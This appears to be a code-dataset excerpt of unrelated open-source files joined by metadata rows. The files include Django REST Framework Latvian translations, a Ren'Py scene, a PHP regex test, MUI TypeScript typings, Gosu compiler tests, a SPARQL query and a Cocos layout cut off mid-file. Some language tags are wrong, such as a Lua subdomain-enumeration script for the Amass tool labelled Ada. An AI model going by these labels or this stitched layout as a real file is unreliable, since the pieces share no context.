msgid "Object with {slug_name}={value} does not exist."
msgstr "Objekts ar {slug_name}={value} neeksistē."
#: relations.py:449
msgid "Invalid value."
msgstr "Nedrīga vērtība."
#: schemas/utils.py:32
msgid "unique integer value"
msgstr ""
#: schemas/utils.py:34
msgid "UUID string"
msgstr ""
#: schemas/utils.py:36
msgid "unique value"
msgstr ""
#: schemas/utils.py:38
#, python-brace-format
msgid "A {value_type} identifying this {name}."
msgstr ""
#: serializers.py:337
#, python-brace-format
msgid "Invalid data. Expected a dictionary, but got {datatype}."
msgstr "Nederīgi dati. Tika gaidīta vārdnīca, saņemts {datatype}."
#: templates/rest_framework/admin.html:116
#: templates/rest_framework/base.html:136
msgid "Extra Actions"
msgstr ""
#: templates/rest_framework/admin.html:130
#: templates/rest_framework/base.html:150
msgid "Filters"
msgstr "Filtri"
#: templates/rest_framework/base.html:37
msgid "navbar"
msgstr ""
#: templates/rest_framework/base.html:75
msgid "content"
msgstr ""
#: templates/rest_framework/base.html:78
msgid "request form"
msgstr ""
#: templates/rest_framework/base.html:157
msgid "main content"
msgstr ""
#: templates/rest_framework/base.html:173
msgid "request info"
msgstr ""
#: templates/rest_framework/base.html:177
msgid "response info"
msgstr ""
#: templates/rest_framework/horizontal/radio.html:4
#: templates/rest_framework/inline/radio.html:3
#: templates/rest_framework/vertical/radio.html:3
msgid "None"
msgstr "Nekas"
#: templates/rest_framework/horizontal/select_multiple.html:4
#: templates/rest_framework/inline/select_multiple.html:3
#: templates/rest_framework/vertical/select_multiple.html:3
msgid "No items to select."
msgstr "Nav ierakstu, ko izvēlēties."
#: validators.py:39
msgid "This field must be unique."
msgstr "Šim laukam ir jābūt unikālam."
#: validators.py:89
#, python-brace-format
msgid "The fields {field_names} must make a unique set."
msgstr "Laukiem {field_names} jāveido unikālas kombinācijas."
#: validators.py:171
#, python-brace-format
msgid "Surrogate characters are not allowed: U+{code_point:X}."
msgstr ""
#: validators.py:243
#, python-brace-format
msgid "This field must be unique for the \"{date_field}\" date."
msgstr "Šim laukam ir jābūt unikālam priekš \"{date_field}\" datuma."
#: validators.py:258
#, python-brace-format
msgid "This field must be unique for the \"{date_field}\" month."
msgstr "Šim laukam ir jābūt unikālam priekš \"{date_field}\" mēneša."
#: validators.py:271
#, python-brace-format
msgid "This field must be unique for the \"{date_field}\" year."
msgstr "Šim laukam ir jābūt unikālam priekš \"{date_field}\" gada."
#: versioning.py:40
msgid "Invalid version in \"Accept\" header."
msgstr "Nederīga versija \"Accept\" galvenē."
#: versioning.py:71
msgid "Invalid version in URL path."
msgstr "Nederīga versija URL ceļā."
#: versioning.py:116
msgid "Invalid version in URL path. Does not match any version namespace."
msgstr "Nederīga versija URL ceļā. Nav atbilstības esošo versiju telpā."
#: versioning.py:148
msgid "Invalid version in hostname."
msgstr "Nederīga versija servera nosaukumā."
#: versioning.py:170
msgid "Invalid version in query parameter."
msgstr "Nederīga versija pieprasījuma parametros."
| Gettext Catalog | 2 | scratchmex/django-rest-framework | rest_framework/locale/lv/LC_MESSAGES/django.po | [
"BSD-3-Clause"
] |
label ccd0013:
call gl(0,"bgcc0011")
call vsp(0,1)
call vsp(1,0)
with wipeleft
"さてと。"
menu:
"教室":
$B=1
"屋上":
$B=2
"廊下":
$B=3
return
# | Ren'Py | 3 | fossabot/cross-channel_chinese-localization_project | AllPlatforms/scripts/ccd/ccd0013.rpy | [
"Apache-2.0"
] |
L HWCRHK e_chil_err.h e_chil_err.c
| eC | 3 | jiangzhu1212/oooii | Ouroboros/External/OpenSSL/openssl-1.0.0e/engines/e_chil.ec | [
"MIT"
] |
--TEST--
Testing mb_ereg() duplicate named groups
--EXTENSIONS--
mbstring
--SKIPIF--
<?php
function_exists('mb_ereg') or die("skip mb_ereg() is not available in this build");
?>
--FILE--
<?php
mb_regex_encoding("UTF-8");
$pattern = '\w+((?<punct>?)|(?<punct>!))';
mb_ereg($pattern, '中?', $m);
var_dump($m);
mb_ereg($pattern, '中!', $m);
var_dump($m);
?>
--EXPECT--
array(4) {
[0]=>
string(6) "中?"
[1]=>
string(3) "?"
[2]=>
bool(false)
["punct"]=>
string(3) "?"
}
array(4) {
[0]=>
string(6) "中!"
[1]=>
bool(false)
[2]=>
string(3) "!"
["punct"]=>
string(3) "!"
}
| PHP | 4 | NathanFreeman/php-src | ext/mbstring/tests/mb_ereg_dupnames.phpt | [
"PHP-3.01"
] |
-- Copyright 2021 Jeff Foley. All rights reserved.
-- Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
local json = require("json")
name = "SonarSearch"
type = "api"
function start()
set_rate_limit(1)
end
function vertical(ctx, domain)
local p = 0
while(true) do
local vurl = "https://sonar.omnisint.io/subdomains/" .. domain .. "?page=" .. p
local resp, err = request(ctx, {['url']=vurl})
if (err ~= nil and err ~= "") then
log(ctx, "vertical request to service failed: " .. err)
return
end
resp = "{\"subdomains\":" .. resp .. "}"
local d = json.decode(resp)
if (d == nil or d.subdomains == nil or #(d.subdomains) == 0) then
return
end
for _, sub in pairs(d.subdomains) do
new_name(ctx, sub)
end
p = p + 1
end
end
| Ada | 4 | Elon143/Amass | resources/scripts/api/sonarsearch.ads | [
"Apache-2.0"
] |
import * as React from 'react';
import { SxProps } from '@mui/system';
import { Theme } from '@mui/material/styles';
import ButtonBase from '@mui/material/ButtonBase';
import { OverridableComponent, OverrideProps } from '@mui/material/OverridableComponent';
import { TabScrollButtonProps } from '../TabScrollButton';
import { TabsClasses } from './tabsClasses';
export interface TabsTypeMap<P = {}, D extends React.ElementType = typeof ButtonBase> {
props: P & {
/**
* Callback fired when the component mounts.
* This is useful when you want to trigger an action programmatically.
* It supports two actions: `updateIndicator()` and `updateScrollButtons()`
*
* @param {object} actions This object contains all possible actions
* that can be triggered programmatically.
*/
action?: React.Ref<TabsActions>;
/**
* If `true`, the scroll buttons aren't forced hidden on mobile.
* By default the scroll buttons are hidden on mobile and takes precedence over `scrollButtons`.
* @default false
*/
allowScrollButtonsMobile?: boolean;
/**
* The label for the Tabs as a string.
*/
'aria-label'?: string;
/**
* An id or list of ids separated by a space that label the Tabs.
*/
'aria-labelledby'?: string;
/**
* If `true`, the tabs are centered.
* This prop is intended for large views.
* @default false
*/
centered?: boolean;
/**
* The content of the component.
*/
children?: React.ReactNode;
/**
* Override or extend the styles applied to the component.
*/
classes?: Partial<TabsClasses>;
/**
* Determines the color of the indicator.
* @default 'primary'
*/
indicatorColor?: 'secondary' | 'primary';
/**
* Callback fired when the value changes.
*
* @param {React.SyntheticEvent} event The event source of the callback. **Warning**: This is a generic event not a change event.
* @param {any} value We default to the index of the child (number)
*/
onChange?: (event: React.SyntheticEvent, value: any) => void;
/**
* The component orientation (layout flow direction).
* @default 'horizontal'
*/
orientation?: 'horizontal' | 'vertical';
/**
* The component used to render the scroll buttons.
* @default TabScrollButton
*/
ScrollButtonComponent?: React.ElementType;
/**
* Determine behavior of scroll buttons when tabs are set to scroll:
*
* - `auto` will only present them when not all the items are visible.
* - `true` will always present them.
* - `false` will never present them.
*
* By default the scroll buttons are hidden on mobile.
* This behavior can be disabled with `allowScrollButtonsMobile`.
* @default 'auto'
*/
scrollButtons?: 'auto' | true | false;
/**
* If `true` the selected tab changes on focus. Otherwise it only
* changes on activation.
*/
selectionFollowsFocus?: boolean;
/**
* Props applied to the tab indicator element.
* @default {}
*/
TabIndicatorProps?: React.HTMLAttributes<HTMLDivElement>;
/**
* Props applied to the [`TabScrollButton`](/api/tab-scroll-button/) element.
* @default {}
*/
TabScrollButtonProps?: Partial<TabScrollButtonProps>;
/**
* Determines the color of the `Tab`.
* @default 'primary'
*/
textColor?: 'secondary' | 'primary' | 'inherit';
/**
* The value of the currently selected `Tab`.
* If you don't want any selected `Tab`, you can set this prop to `false`.
*/
value?: any;
/**
* Determines additional display behavior of the tabs:
*
* - `scrollable` will invoke scrolling properties and allow for horizontally
* scrolling (or swiping) of the tab bar.
* -`fullWidth` will make the tabs grow to use all the available space,
* which should be used for small views, like on mobile.
* - `standard` will render the default state.
* @default 'standard'
*/
variant?: 'standard' | 'scrollable' | 'fullWidth';
/**
* If `true`, the scrollbar is visible. It can be useful when displaying
* a long vertical list of tabs.
* @default false
*/
visibleScrollbar?: boolean;
/**
* The system prop that allows defining system overrides as well as additional CSS styles.
*/
sx?: SxProps<Theme>;
};
defaultComponent: D;
}
/**
*
* Demos:
*
* - [Tabs](https://mui.com/components/tabs/)
*
* API:
*
* - [Tabs API](https://mui.com/api/tabs/)
*/
declare const Tabs: OverridableComponent<TabsTypeMap>;
export interface TabsActions {
updateIndicator(): void;
updateScrollButtons(): void;
}
export type TabsProps<
D extends React.ElementType = TabsTypeMap['defaultComponent'],
P = {},
> = OverrideProps<TabsTypeMap<P, D>, D>;
export default Tabs;
| TypeScript | 5 | dany-freeman/material-ui | packages/mui-material-next/src/Tabs/Tabs.d.ts | [
"MIT"
] |
" Vim compiler file
" Compiler: Yamllint for YAML
" Maintainer: Romain Lafourcade <romainlafourcade@gmail.com>
" Last Change: 2021 July 21
if exists("current_compiler")
finish
endif
let current_compiler = "yamllint"
if exists(":CompilerSet") != 2
command -nargs=* CompilerSet setlocal <args>
endif
CompilerSet makeprg=yamllint\ -f\ parsable
| VimL | 3 | uga-rosa/neovim | runtime/compiler/yamllint.vim | [
"Vim"
] |
#version 3.6;
#include "colors.inc"
#include "metals.inc"
#include "textures.inc"
global_settings {
max_trace_level 64
}
camera {
location <30,-50,25>
sky z
up 0.15*z
right -0.15*x*image_width/image_height
look_at <0,0,2.8>
}
background{rgb 1}
light_source{<-8,-20,30> color rgb <0.77,0.75,0.75>}
light_source{<25,-12,12> color rgb <0.43,0.45,0.45>}
#declare r=0.06;
#declare rr=0.08;
#declare f1=finish{reflection 0.15 specular 0.3 ambient 0.42}
#declare t1=texture{pigment{rgbft <0.9,0.5,0.3,0,0.4>} finish{f1}}
#declare t2=texture{pigment{rgb <0.9,0.35,0.25>} finish{f1}}
union{
#include "polygons4_v.pov"
}
union{
#include "polygons_d.pov"
texture{T_Silver_4B}
}
| POV-Ray SDL | 3 | wgq-iapcm/Parvoro- | 3rdparty/voro++-0.4.6/examples/interface/polygons4.pov | [
"BSD-3-Clause"
] |
package gw.specContrib.classes.property_Declarations.gosuClassGosuEnh
enhancement Errant_GosuEnh_31: Errant_GosuClass_31 {
//Error expected. GOOD
function getNormalProperty() : String { return null } //## issuekeys: THE METHOD 'GETNORMALPROPERTY()' IS ALREADY DEFINED IN THE TYPE 'GW.SPECCONTRIB.AAA.PARSERVSOPENSOURCE.PROPERTIES.PREPARINGFORPUSH.GOSUCLASSGOSUENH.ERRANT_GOSUCLASS_31'. ENHANCEMENTS CANNOT OVERRIDE METHODS.
function setNormalProperty(s : String){} //## issuekeys: THE METHOD 'SETNORMALPROPERTY(STRING)' IS ALREADY DEFINED IN THE TYPE 'GW.SPECCONTRIB.AAA.PARSERVSOPENSOURCE.PROPERTIES.PREPARINGFORPUSH.GOSUCLASSGOSUENH.ERRANT_GOSUCLASS_31'. ENHANCEMENTS CANNOT OVERRIDE METHODS.
//IDE-1833 - Parser issue - Should not show error as the function generated by property will be getsmallCaseProperty3() with small s
function getSmallCaseProperty1() : String { return null }
function setSmallCaseProperty1(s : String){}
//IDE-1814 - Parser issue. Should show error
function getsmallCaseProperty2() : String { return null } //## issuekeys: CONFLICT
function setsmallCaseProperty2(s : String){} //## issuekeys: CONFLICT
//Should not show error as the function generated by property will be getSmallCaseProperty3() with Capital S
function getsmallCaseProperty3() : String { return null }
function setsmallCaseProperty3(s : String){}
function getOnlyGetter1() : String { return null } //## issuekeys: THE METHOD 'GETONLYGETTER1()' IS ALREADY DEFINED IN THE TYPE 'GW.SPECCONTRIB.AAA.PARSERVSOPENSOURCE.PROPERTIES.PREPARINGFORPUSH.GOSUCLASSGOSUENH.ERRANT_GOSUCLASS_31'. ENHANCEMENTS CANNOT OVERRIDE METHODS.
function getOnlyGetter2() : String { return null } //## issuekeys: THE METHOD 'GETONLYGETTER2()' IS ALREADY DEFINED IN THE TYPE 'GW.SPECCONTRIB.AAA.PARSERVSOPENSOURCE.PROPERTIES.PREPARINGFORPUSH.GOSUCLASSGOSUENH.ERRANT_GOSUCLASS_31'. ENHANCEMENTS CANNOT OVERRIDE METHODS.
//important case for java
function setOnlySetter1(s : String) { } //## issuekeys: THE METHOD 'SETONLYSETTER1(STRING)' IS ALREADY DEFINED IN THE TYPE 'GW.SPECCONTRIB.AAA.PARSERVSOPENSOURCE.PROPERTIES.PREPARINGFORPUSH.GOSUCLASSGOSUENH.ERRANT_GOSUCLASS_31'. ENHANCEMENTS CANNOT OVERRIDE METHODS.
function setOnlySetter2(s : String) { } //## issuekeys: THE METHOD 'SETONLYSETTER2(STRING)' IS ALREADY DEFINED IN THE TYPE 'GW.SPECCONTRIB.AAA.PARSERVSOPENSOURCE.PROPERTIES.PREPARINGFORPUSH.GOSUCLASSGOSUENH.ERRANT_GOSUCLASS_31'. ENHANCEMENTS CANNOT OVERRIDE METHODS.
function setGetterPropInClassSetterFunctionInEnh111(s : String) {}
function getSetterPropInClassGetterFunctionInEnh222() : String {return null}
}
| Gosu | 3 | tcmoore32/sheer-madness | gosu-test/src/test/gosu/gw/specContrib/classes/property_Declarations/gosuClassGosuEnh/Errant_GosuEnh_31.gsx | [
"Apache-2.0"
] |
PREFIX owl: <http://www.w3.org/2002/07/owl#>
PREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>
PREFIX skos: <http://www.w3.org/2004/02/skos/core#>
SELECT DISTINCT ?s ?label
WHERE {
SERVICE <http://api.finto.fi/sparql>
{
SELECT DISTINCT ?s ?label ?plabel ?alabel ?hlabel (GROUP_CONCAT(DISTINCT STR(?type)) as ?types)
WHERE {
GRAPH <http://www.yso.fi/onto/kauno/>
{
?s rdf:type <http://www.w3.org/2004/02/skos/core#Concept>
{
?s rdf:type ?type .
?s ?prop ?match .
FILTER (
strstarts(lcase(str(?match)), "test") && !(?match != ?label && strstarts(lcase(str(?label)), "test"))
)
OPTIONAL {
?s skos:prefLabel ?label .
FILTER (langMatches(lang(?label), "en"))
}
OPTIONAL { # in case previous OPTIONAL block gives no labels
?s ?prop ?match .
?s skos:prefLabel ?label .
FILTER (langMatches(lang(?label), lang(?match))) }
}
FILTER NOT EXISTS { ?s owl:deprecated true }
}
BIND(IF(?prop = skos:prefLabel && ?match != ?label, ?match, "") as ?plabel)
BIND(IF(?prop = skos:altLabel, ?match, "") as ?alabel)
BIND(IF(?prop = skos:hiddenLabel, ?match, "") as ?hlabel)
VALUES (?prop) { (skos:prefLabel) (skos:altLabel) (skos:hiddenLabel) }
}
GROUP BY ?match ?s ?label ?plabel ?alabel ?hlabel ?prop
ORDER BY lcase(str(?match)) lang(?match)
LIMIT 10
}
}
| SPARQL | 4 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/SPARQL/string-matching.sparql | [
"MIT"
] |
<GameFile>
<PropertyGroup Name="MouseModeTips" Type="Layer" ID="90f387b1-60d8-4bed-ab52-3c6c51d094f9" Version="3.10.0.0" />
<Content ctype="GameProjectContent">
<Content>
<Animation Duration="450" Speed="1.0000">
<Timeline ActionTag="229197645" Property="Position">
<PointFrame FrameIndex="0" X="150.5588" Y="75.0000">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="30" X="141.3700" Y="157.3591">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="390" X="141.3700" Y="157.3591">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="410" X="141.3700" Y="120.0000">
<EasingData Type="0" />
</PointFrame>
</Timeline>
<Timeline ActionTag="229197645" Property="Scale">
<ScaleFrame FrameIndex="0" X="1.0000" Y="1.6000">
<EasingData Type="0" />
</ScaleFrame>
<ScaleFrame FrameIndex="30" X="1.5000" Y="0.1000">
<EasingData Type="0" />
</ScaleFrame>
<ScaleFrame FrameIndex="450" X="1.5000" Y="0.1000">
<EasingData Type="0" />
</ScaleFrame>
</Timeline>
<Timeline ActionTag="229197645" Property="RotationSkew">
<ScaleFrame FrameIndex="0" X="0.0000" Y="0.0000">
<EasingData Type="0" />
</ScaleFrame>
<ScaleFrame FrameIndex="30" X="60.0000" Y="0.0000">
<EasingData Type="0" />
</ScaleFrame>
</Timeline>
<Timeline ActionTag="229197645" Property="Alpha">
<IntFrame FrameIndex="0" Value="0">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="30" Value="255">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="390" Value="255">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="410" Value="0">
<EasingData Type="0" />
</IntFrame>
</Timeline>
<Timeline ActionTag="-1824443952" Property="Position">
<PointFrame FrameIndex="20" X="167.8663" Y="210.7975">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="40" X="150.0000" Y="160.0000">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="250" X="150.0000" Y="160.0000">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="280" X="180.0000" Y="160.0000">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="305" X="180.0000" Y="160.0000">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="340" X="150.0000" Y="160.0000">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="370" X="150.0000" Y="160.0000">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="400" X="180.0000" Y="190.0000">
<EasingData Type="0" />
</PointFrame>
</Timeline>
<Timeline ActionTag="-1824443952" Property="Alpha">
<IntFrame FrameIndex="20" Value="0">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="40" Value="255">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="370" Value="255">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="400" Value="0">
<EasingData Type="0" />
</IntFrame>
</Timeline>
<Timeline ActionTag="-2012265606" Property="Scale">
<ScaleFrame FrameIndex="30" X="3.0000" Y="3.0000">
<EasingData Type="0" />
</ScaleFrame>
<ScaleFrame FrameIndex="40" X="1.0000" Y="1.0000">
<EasingData Type="0" />
</ScaleFrame>
</Timeline>
<Timeline ActionTag="-2012265606" Property="Alpha">
<IntFrame FrameIndex="0" Value="0">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="30" Value="0">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="40" Value="255">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="95" Value="255">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="105" Value="0">
<EasingData Type="0" />
</IntFrame>
</Timeline>
<Timeline ActionTag="1613641018" Property="Scale">
<ScaleFrame FrameIndex="90" X="3.0000" Y="3.0000">
<EasingData Type="0" />
</ScaleFrame>
<ScaleFrame FrameIndex="100" X="1.0000" Y="1.0000">
<EasingData Type="0" />
</ScaleFrame>
</Timeline>
<Timeline ActionTag="1613641018" Property="VisibleForFrame">
<BoolFrame FrameIndex="0" Tween="False" Value="False" />
<BoolFrame FrameIndex="90" Tween="False" Value="True" />
<BoolFrame FrameIndex="165" Tween="False" Value="False" />
</Timeline>
<Timeline ActionTag="1613641018" Property="Alpha">
<IntFrame FrameIndex="90" Value="0">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="100" Value="255">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="155" Value="255">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="165" Value="0">
<EasingData Type="0" />
</IntFrame>
</Timeline>
<Timeline ActionTag="-936106288" Property="Scale">
<ScaleFrame FrameIndex="150" X="3.0000" Y="3.0000">
<EasingData Type="0" />
</ScaleFrame>
<ScaleFrame FrameIndex="160" X="1.0000" Y="1.0000">
<EasingData Type="0" />
</ScaleFrame>
</Timeline>
<Timeline ActionTag="-936106288" Property="VisibleForFrame">
<BoolFrame FrameIndex="0" Tween="False" Value="False" />
<BoolFrame FrameIndex="150" Tween="False" Value="True" />
<BoolFrame FrameIndex="225" Tween="False" Value="False" />
</Timeline>
<Timeline ActionTag="-936106288" Property="Alpha">
<IntFrame FrameIndex="150" Value="0">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="160" Value="255">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="215" Value="255">
<EasingData Type="0" />
</IntFrame>
<IntFrame FrameIndex="225" Value="0">
<EasingData Type="0" />
</IntFrame>
</Timeline>
<Timeline ActionTag="-1983356721" Property="Position">
<PointFrame FrameIndex="0" X="350.0000" Y="215.0000">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="250" X="350.0000" Y="215.0000">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="280" X="400.0000" Y="215.0000">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="305" X="400.0000" Y="215.0000">
<EasingData Type="0" />
</PointFrame>
<PointFrame FrameIndex="340" X="350.0000" Y="215.0000">
<EasingData Type="0" />
</PointFrame>
</Timeline>
<Timeline ActionTag="-1983356721" Property="Scale">
<ScaleFrame FrameIndex="0" X="0.5000" Y="0.5000">
<EasingData Type="-1">
<Points>
<PointF />
<PointF />
<PointF X="1.0000" Y="1.0000" />
<PointF X="1.0000" Y="1.0000" />
</Points>
</EasingData>
</ScaleFrame>
<ScaleFrame FrameIndex="219" X="0.5000" Y="0.5000">
<EasingData Type="0" />
</ScaleFrame>
<ScaleFrame FrameIndex="220" X="0.4000" Y="0.4000">
<EasingData Type="0" />
</ScaleFrame>
<ScaleFrame FrameIndex="369" X="0.4000" Y="0.4000">
<EasingData Type="0" />
</ScaleFrame>
<ScaleFrame FrameIndex="370" X="0.5000" Y="0.5000">
<EasingData Type="0" />
</ScaleFrame>
</Timeline>
</Animation>
<AnimationList>
<AnimationInfo Name="autoplay" StartIndex="0" EndIndex="450">
<RenderColor A="150" R="255" G="160" B="122" />
</AnimationInfo>
</AnimationList>
<ObjectData Name="Layer" Tag="91" ctype="GameLayerObjectData">
<Size X="960.0000" Y="240.0000" />
<Children>
<AbstractNodeData Name="Panel_1" ActionTag="229197645" Alpha="0" Tag="93" IconVisible="False" LeftMargin="100.5588" RightMargin="759.4412" TopMargin="65.0000" BottomMargin="75.0000" TouchEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="100.0000" Y="100.0000" />
<AnchorPoint ScaleX="0.5000" />
<Position X="150.5588" Y="75.0000" />
<Scale ScaleX="1.0000" ScaleY="1.6000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.1568" Y="0.3125" />
<PreSize X="0.1042" Y="0.4167" />
<SingleColor A="255" R="192" G="192" B="192" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
<AbstractNodeData Name="touch1_1" ActionTag="-1824443952" Alpha="0" Tag="92" RotationSkewX="-150.2268" RotationSkewY="-150.2268" IconVisible="False" LeftMargin="135.8663" RightMargin="760.1337" TopMargin="29.2025" BottomMargin="142.7975" FlipX="True" ctype="SpriteObjectData">
<Size X="64.0000" Y="68.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="1.0000" />
<Position X="167.8663" Y="210.7975" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.1749" Y="0.8783" />
<PreSize X="0.0667" Y="0.2833" />
<FileData Type="Normal" Path="img/touch1.png" Plist="" />
<BlendFunc Src="1" Dst="771" />
</AbstractNodeData>
<AbstractNodeData Name="Node_1" ActionTag="-518149107" Tag="95" IconVisible="True" LeftMargin="113.9297" RightMargin="846.0703" TopMargin="39.9164" BottomMargin="200.0836" ctype="SingleNodeObjectData">
<Size X="0.0000" Y="0.0000" />
<Children>
<AbstractNodeData Name="Text_3" ActionTag="-2012265606" Alpha="0" Tag="94" IconVisible="False" LeftMargin="-11.5000" RightMargin="-11.5000" TopMargin="-26.0000" BottomMargin="-26.0000" FontSize="40" LabelText="3" ShadowOffsetX="2.0000" ShadowOffsetY="-2.0000" ctype="TextObjectData">
<Size X="23.0000" Y="52.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<Position />
<Scale ScaleX="3.0000" ScaleY="3.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.0000" Y="0.0000" />
<FontResource Type="Normal" Path="DroidSansFallback.ttf" Plist="" />
<OutlineColor A="255" R="255" G="0" B="0" />
<ShadowColor A="255" R="110" G="110" B="110" />
</AbstractNodeData>
<AbstractNodeData Name="Text_2" ActionTag="1613641018" VisibleForFrame="False" Alpha="0" Tag="96" IconVisible="False" LeftMargin="-11.5000" RightMargin="-11.5000" TopMargin="-26.0000" BottomMargin="-26.0000" FontSize="40" LabelText="2" ShadowOffsetX="2.0000" ShadowOffsetY="-2.0000" ctype="TextObjectData">
<Size X="23.0000" Y="52.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<Position />
<Scale ScaleX="3.0000" ScaleY="3.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.0000" Y="0.0000" />
<FontResource Type="Normal" Path="DroidSansFallback.ttf" Plist="" />
<OutlineColor A="255" R="255" G="0" B="0" />
<ShadowColor A="255" R="110" G="110" B="110" />
</AbstractNodeData>
<AbstractNodeData Name="Text_1" ActionTag="-936106288" VisibleForFrame="False" Alpha="0" Tag="97" IconVisible="False" LeftMargin="-13.5000" RightMargin="-3.5000" TopMargin="-26.0000" BottomMargin="-26.0000" FontSize="40" LabelText="1" ShadowOffsetX="2.0000" ShadowOffsetY="-2.0000" ctype="TextObjectData">
<Size X="17.0000" Y="52.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<Position X="-5.0000" />
<Scale ScaleX="3.0000" ScaleY="3.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.0000" Y="0.0000" />
<FontResource Type="Normal" Path="DroidSansFallback.ttf" Plist="" />
<OutlineColor A="255" R="255" G="0" B="0" />
<ShadowColor A="255" R="110" G="110" B="110" />
</AbstractNodeData>
</Children>
<AnchorPoint />
<Position X="113.9297" Y="200.0836" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition X="0.1187" Y="0.8337" />
<PreSize X="0.0000" Y="0.0000" />
</AbstractNodeData>
<AbstractNodeData Name="Node_3" ActionTag="-1102304925" Tag="105" IconVisible="True" LeftMargin="0.0002" RightMargin="959.9998" TopMargin="249.4386" BottomMargin="-9.4386" ctype="SingleNodeObjectData">
<Size X="0.0000" Y="0.0000" />
<Children>
<AbstractNodeData Name="Node_2" ActionTag="-1983356721" Tag="100" IconVisible="True" LeftMargin="350.0000" RightMargin="-350.0000" TopMargin="-215.0000" BottomMargin="215.0000" ctype="SingleNodeObjectData">
<Size X="0.0000" Y="0.0000" />
<Children>
<AbstractNodeData Name="CheckBox_Normal_2" ActionTag="-1106334161" Tag="104" IconVisible="False" LeftMargin="-20.0000" RightMargin="-20.0000" TopMargin="-20.0000" BottomMargin="-20.0000" ctype="SpriteObjectData">
<Size X="40.0000" Y="40.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<Position />
<Scale ScaleX="2.0000" ScaleY="2.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.0000" Y="0.0000" />
<FileData Type="Normal" Path="img/CheckBox_Normal.png" Plist="" />
<BlendFunc Src="770" Dst="771" />
</AbstractNodeData>
<AbstractNodeData Name="Panel_2" ActionTag="403988143" Tag="98" RotationSkewX="150.0000" RotationSkewY="90.0000" IconVisible="False" RightMargin="-100.0000" TopMargin="-20.0000" TouchEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="100.0000" Y="20.0000" />
<AnchorPoint />
<Position />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.0000" Y="0.0000" />
<SingleColor A="255" R="172" G="172" B="172" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
<AbstractNodeData Name="Panel_2_0" ActionTag="-2070787841" Tag="99" RotationSkewX="-30.0000" RotationSkewY="30.0000" IconVisible="False" RightMargin="-100.0000" BottomMargin="-20.0000" TouchEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="100.0000" Y="20.0000" />
<AnchorPoint ScaleY="1.0000" />
<Position />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<CColor A="255" R="255" G="255" B="255" />
<PrePosition />
<PreSize X="0.0000" Y="0.0000" />
<SingleColor A="255" R="172" G="172" B="172" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</AbstractNodeData>
<AbstractNodeData Name="Panel_2_2" ActionTag="1400222952" Tag="355" RotationSkewX="120.0000" RotationSkewY="90.0000" IconVisible="False" LeftMargin="8.1029" RightMargin="-25.9099" TopMargin="-56.4722" BottomMargin="-12.0673" TouchEnable="True" ClipAble="False" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Width="1" Scale9Height="1" ctype="PanelObjectData">
<Size X="17.8069" Y="68.5395" />
<AnchorPoint />
